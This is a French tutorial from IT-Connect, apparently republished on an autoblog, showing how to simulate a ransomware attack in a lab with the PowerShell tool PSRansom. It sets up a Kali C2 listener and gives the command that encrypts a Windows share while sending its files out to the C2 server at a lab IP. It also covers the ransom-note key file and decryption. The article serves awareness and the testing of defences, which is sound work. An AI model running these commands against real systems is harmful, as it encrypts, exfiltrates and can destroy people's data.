PROJET AUTOBLOG


IT-Connect

Site original : IT-Connect

⇐ retour index

Comment simuler le fonctionnement d’un ransomware avec PSRansom ?

jeudi 26 janvier 2023 à 17:15

I. Présentation

Dans ce tutoriel, nous allons simuler le fonctionnement d'un ransomware à l'aide de PSRansom, un outil basé sur deux scripts PowerShell, particulièrement simple à utiliser ! Pourquoi écrire un article à ce sujet ? Tout simplement, à des fins éducatives, de tests, de démonstration, de sensibilisation, mais aucun cas pour vous inciter à réaliser ce type d'acte malveillant. Par ailleurs, sur un environnement de tests et isolé de votre production, vous pouvez effectuer cette simulation pour voir comment réagissent vos outils de sécurité !

On entend régulièrement parler des attaques par ransomware, et on espère ne pas avoir à faire face à cette situation, mais qu'en est-il en pratique ? Comment cela fonctionne ? Même s'il existe de nombreuses manières de chiffrer des données, et qu'il y a plein de ransomwares différents, avec des fonctionnalités diverses et variées, grâce à l'outil PSRansom nous allons pouvoir effectuer une simulation réaliste. Cela est d'autant plus vrai que nous allons pouvoir appliquer le principe de la double extorsion !

PSRansom va permettre de mettre en œuvre un scénario basé sur deux machines :

Schéma simulation ransomware PSRansom

Une fois que les données seront chiffrées (réellement), un fichier texte sera créé sur le serveur et ce dernier contient la clé de déchiffrement pour restaurer les données. Ainsi, le ransomware fictif intègre une fonction de restauration de données permettant de faire un retour arrière.

Le projet PSRansom est disponible à cet emplacement :

Attention : même s'il s'agit d'une simulation, ce n'est pas sans risque notamment si une mauvaise manipulation est effectuée donc utilisez cet outil sur un environnement de tests.

II. Déployer le serveur C2

Mon serveur C2 sera représenté par une machine sous Kali Linux, mais vous pouvez utiliser une autre distribution Linux, voire même une machine Windows. Sur cette machine, nous avons besoin de Git et de PowerShell puisque PSRansom est codé en PowerShell. Ce qui donne :

sudo apt-get update
sudo apt-get install powershell git

Ensuite, on peut cloner le projet PSRansom en local pour récupérer les sources de notre ransomware fictif :

git clone https://github.com/JoelGMSec/PSRansom

PSRansom - Télécharger les sources

Dans ce répertoire, il y a deux scripts intéressants :

À partir d'une console PowerShell ou de votre Shell, exécutez la commande ci-dessous pour que le serveur C2 soit en écoute sur toutes ses interfaces et sur le port 80 :

pwsh ./C2Server.ps1 + 80

On peut voir qu'il passe en attente de connexion :

PSRansom - Démarrer le serveur C2

Vous pouvez remplacer "+" par une adresse IP spécifique et configurée sur la machine locale. Si vous exécutez le serveur C2 sur une machine Windows, vous devez préciser "*" à la place de "+" pour écouter sur toutes les interfaces. Ici, j'utilise le port d'écoute "80" mais vous pouvez utiliser un autre port.

À partir du moment où le serveur C2 est démarré, vous pouvez accéder à la page Web en précisant l'adresse IP et le port, ce qui permet de vérifier le bon fonctionnement.

III. Simuler l'attaque par ransomware

Maintenant, nous allons pouvoir simuler l'attaque par ransomware sur la machine Windows compromise ! Ici, on va à l'essentiel en exécutant manuellement le script "PSRansom.ps1" sur l'hôte Windows puisque l'on ne s'intéresse pas à toute la phase de compromission de la machine en elle-même menant jusqu'à l'exécution de la charge finale.

Note : nous pourrions imaginer un scénario où le script PSRansom.ps1 est hébergé sur le serveur C2, et dans ce cas, il pourrait être chargé depuis le serveur compromis pour exécuter la charge utile.

Pour l'exemple, je vais m'attaquer aux données situées dans le répertoire "C:\Partage" :

Quant au script PSRansom, on peut consulter l'aide (depuis Windows ou Linux) avec cette commande :

# Windows
.\PSRansom.ps1 -h
# Linux
pwsh ./PSRansom.ps1 -h

PSRansom - Aide

De ce fait, après avoir consulté l'aide, on peut démarrer le chiffrement des données en utilisant la commande suivant :

.\PSRansom.ps1 -e "C:\Partage" -s 192.168.100.71 -p 80 -x

Plus précisément, le ransomware fictif va chiffrer les données situées dans "C:\Partage" et exfiltrer les données en clair vers le serveur C2 accessible à l'adresse 192.168.100.71:80.

PSRansom - Chiffrement des données

Du côté du serveur C2, on peut voir qu'une connexion est établie, et nous avons des détails sur l'hôte compromis. La clé de déchiffrement est également spécifiée, ainsi que le nom des fichiers reçus par le serveur C2.

PSRansom - Réception des données sur le serveur C2

D'ailleurs, les fichiers exfiltrés sont visibles dans le répertoire "C2Files" présente sur le serveur C2.

PSRansom - Données exfiltrées

Sur le serveur compromis, les données ont hérité de l'extension ".psr" et elles sont illisibles, car elles sont chiffrées !

PSRansom - Données fictives chiffrées

IV. Restaurer les données

Pas de panique ! Dans le fichier "readme.txt" déposé à la racine du répertoire "C:\Partage", on peut récupérer la clé de déchiffrement ! Lorsque l'attaque est réelle, ce fichier prend la forme d'une note de rançon où l'on va retrouver les informations pour contacter les cybercriminels et entrer en négociation, notamment au sujet du montant de la rançon dans le but d'obtenir la clé de déchiffrement.

PSRansom - Clé de déchiffrement

Pour finir cette simulation, il ne reste plus qu'à déchiffrer les données avec cette commande :

.\PSRansom.ps1 -d "C:\Partage" -k <clé de déchiffrement>

Attention, si vous ne fournissez pas la bonne clé de déchiffrement, les données seront supprimés d'après les tests effectués. Après cette opération, les données sont de retour dans leur état d'origine !

PSRansom - Données déchiffrées

V. Conclusion

Grâce à PSRansom, on peut simuler facilement une attaque par ransomware et faire une démonstration en quelques minutes. Le fait que tout soit fait via PowerShell le rend multi-OS et ne nécessite pas d'installer de nombreuses dépendances. Ce qui est intéressant dans le fonctionnement, c'est que ce sont les fichiers chiffrés qui sont transmis du serveur compromis vers le serveur C2, et ce dernier déchiffre les données en local. Même s'il s'agit d'un flux HTTP, les fichiers qui transitent sur le réseau sont chiffrés.

L'article Comment simuler le fonctionnement d’un ransomware avec PSRansom ? est disponible sur IT-Connect : IT-Connect.